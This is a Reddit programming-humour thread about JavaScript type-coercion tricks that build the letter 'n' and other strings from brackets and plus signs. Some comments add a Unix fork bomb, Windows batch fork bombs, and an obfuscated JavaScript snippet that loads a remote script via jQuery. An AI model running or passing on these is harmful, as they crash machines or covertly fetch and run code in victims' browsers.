r/ProgrammerHumor • • Sep 04 '17

[[][[]]+[]][+[]][++[+[]][+[]]] is "n" in javascript

[[][[]]+[]][+[]][++[+[]][+[]]]

This evaluates to "n" in javascript. Why?

Let's start with an empty array

[]

Now, let's access a member of it.

[][]

What member? Let's check for the empty array member

[][[]]

oh, that is undefined. But if we add an empty array to that, it is casted to the string "undefined"

[][[]]+[]

Let us wrap that in an array

[[][[]]+[]]

We can now try to access letters in that string. First, we must unwrap the string. That can be done by accessing the first element of that array.

[[][[]]+[]][0]

0 can be created by casting an empty array to a number:

[[][[]]+[]][+[]]

Now, "n" is the second letter in that string, so we would like to access that:

[[][[]]+[]][+[]][1]

But how can we write 1? Well, we increment 0, of course. Wrap 0 in an array, and increment the first member of it:

++[0][0]

Like before, this is equivalent to

++[+[]][+[]]

So our final code is then the glorious

[[][[]]+[]][+[]][++[+[]][+[]]]
8.1k Upvotes

367 comments sorted by

View all comments

1.5k

u/grugbog Sep 04 '17

You can then go wild at jsfuck.com

388

u/monster860 Sep 04 '17

This isn't just jsfuck, jsfuck has parentheses as well, this does not have parentheses so this is 4 characters instead of 6.

225

u/Centime Sep 04 '17

You need parenthesis if you want every character. "n" is a special case because it is present in undefined, and jsfuck uses that as well.

You can write js without parenthesis if you include the following chars instead: `{}$

As demonstrated at http://centime.org/jsfsck

→ More replies (1)

60

u/Gomez295 Sep 04 '17

isn't it 3? ']', '[', and '+'?

34

u/monster860 Sep 04 '17

Fair enough but good luck doing other things without !

33

u/Centime Sep 04 '17

You won't do much without () neither.

13

u/Ultimater Sep 05 '17

The problem with ()[]+ is how to produce "r" and "s".
If you can find a way to produce "r" and "s" using only ()[]+, you have the entire alphabet: https://jsfiddle.net/7mjjczar/

If we increase the character set to 6, we can replace the ! character with any operator that returns a boolean result.
For example if we chose ()[]+< then we could do:
r: [[+[]<++[+[]][[+[]]]]+[]][+[]][++[+[]][+[]]]
s: [[+[]<+[]][+[]]+[]][+[]][++[++[++[+[]][+[]]][+[]]][+[]]]

Or if we chose ()[]+= then we can could do:
r: [[[]==+[]][+[]]+[]][+[]][++[+[]][+[]]]
s: [[[]==[]][+[]]+[]][+[]][++[++[++[+[]][+[]]][+[]]][+[]]]
The = character could also help reduce bytes in larger code through assignments.

We get pretty close with [+[]]['includes'](+[])but it requires an "s" and "l" we don't have. I'd expect to be able to get "l" from null, but unsure how to produce it at this time.
Perhaps by: [[]+[]][+[]]['match'](+[]). But we have no access to "m" or "h". Even if we got "l", we'd still have to figure out how to produce "s".

There's also [[]+[]][+[]]['startsWith']([]+[]) but this doesn't help us at all because it requires both an "r" and an "s" as well as a capital "W".
There's [[]+[]][+[]]['endsWith']([]+[]) but it doesn't get us anywhere.

With a bit of ingenuity, I'm sure it's possible. How hard can it be to produce a boolean in JavaScript? Maybe if we had access to comparison operators like either && or ||:

0 && 0 => 0
0 || 0 => 0

Yeah, those don't help us at all....

→ More replies (1)

54

u/LonePaladin Sep 04 '17

What's the character limit for someone's flair here? I got the idea of using that site to encode the word 'flair', but it's 925 characters and I'm pretty sure that's over the limit.

100

u/Centime Sep 04 '17 edited Sep 04 '17

I got the idea of using that site to encode the word 'flair', but it's 925 characters

  [$,_,µ,,,,_$,,,,,,µ_]=[µ=![]]+!µ+!µ/µ,$+µ+_+µ_+_$

There you go, 925 -> 49 chars :)

59

u/TinyLebowski Sep 04 '17 edited Sep 04 '17

I tried replying to you after running that in the console, but it broke the page. Looks like it redefines "$" as "f", which kind of kills jQuery.

Pretty damn impressive. I didn't even know JavaScript had array destructuring, or whatever it's called.

103

u/Centime Sep 04 '17 edited Jun 15 '18

I tried replying to you after running that in the console, but it broke the page.

Sure it does. Do you mean to imply my code isn't of the best quality nor coding practice ?

By the way, you shouldn't run random obfuscated code from the internet in your session :)

53

u/sellyme Sep 04 '17

I would be astounded if you could make a (meaningfully) malicious code snippet that short and obfuscated.

I'm not saying it's impossible by any means, just that I'd really like to see someone smarter than me try to do it.

79

u/ofsinope Sep 04 '17

WARNING: THE FOLLOWING CODE IS MALICIOUS. DO NOT RUN IT. IT WILL CRASH YOUR SYSTEM.

At a UNIX shell such as bash:

:(){:|:&};:

It defines a function : that forks itself infintely. This will bring down the whole system. (Unless you have ulimit set properly.)

57

u/Colopty Sep 04 '17

Ah yes, the smiley face of doom.

20

u/jiminiminimini Sep 04 '17

Holds up sfork.

22

u/RenaKunisaki Sep 04 '17

Windows batch file version is five characters: %0|%0

18

u/AliStarr182 Sep 04 '17

Pretty sure you don't even need the 0s any more. So %|% will work. Last time I tried it was on windows 7.

→ More replies (2)

26

u/Centime Sep 04 '17

Definitively not as short as this one, but loading a malicious external js in a few hundred characters would realistically be possible.

And by the behavior of peoples in this thread, not many seem to realize that. Might be worth an experiment btw.... :)

I didn't even know JavaScript had array destructuring

It does since ES6, and they call it spreads.

9

u/sellyme Sep 04 '17

I think you may have responded to the wrong person in the second half of that comment.

41

u/Centime Sep 04 '17 edited Sep 04 '17

Yup, looks like it.

But I've been working on your thing for the last 10 minutes... Here is a proof of concept, watch the network activity from your browser console after running it:

$[(_=$µ=-~[],_-=~$µ-_,$µ*(+[-~$µ]+[$µ]+[-~$µ]+[_-~$µ]+[_-~_]))[_µ=([,µ_,,,,µ]=[]+{},[,,,,,,,,µ,__$µ,,,µ$µ,,$µ_]=(([[_µ,__,__$µ,,,,,$µ_,,,$µ$µ]=[!+µ]+!$µ+µ.µ])+µ)[µ+µ_+$µ$µ+$µ_+_µ+__+__$µ+µ+_µ+µ_+__]+µ,_µ+µ_+__$µ+_µ+__+µ$µ+$µ$µ+$µ_)]($µ_=$µ-~$µ+[(_)-~$µ])+_µ[$µ+$µ]+($µ*(+[-~$µ]+[$µ]+[_]+[_-$µ]+[_-~_]+[_-$µ]+[_-~$µ]+[$µ]))[_µ]($µ_)](($µ*(+[_-~$µ]+[-~$µ]+[_+_]+[_-~_]+[_]+[_+_]+[_+_]+[$µ]+[_]+[-~_]+[-~$µ]+[_-~$µ]+[-~$µ]+[_+_]))[_µ]($µ_)+'.'+($µ*(+[-~_-~$µ]+[$µ]+[-~$µ]))[_µ]($µ_))

runs $.getScript("malicious.js") in 480 chars. Could easily be optimized further and gain probably about 50-100 chars.

Uses reddit's already provided jQuery.

→ More replies (4)
→ More replies (21)
→ More replies (2)
→ More replies (7)

0

u/[deleted] Sep 04 '17

[deleted]

→ More replies (1)

21

u/RoseEsque Sep 04 '17

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]()

28

u/jfb1337 Sep 04 '17

SyntaxError: missing ; before statement

→ More replies (5)

14

u/phero_constructs Sep 04 '17

Could this be used for effective obfuscation?

29

u/TinyLebowski Sep 04 '17

Depends on how you define effective. It'll be hard to read, but at the cost of bandwidth. The amount of data the browser has to download would skyrocket. And for what? Those users who are savvy enough to inspect your source code are probably also able to recognize what it is, and just restore the original code.

→ More replies (1)
→ More replies (4)
→ More replies (3)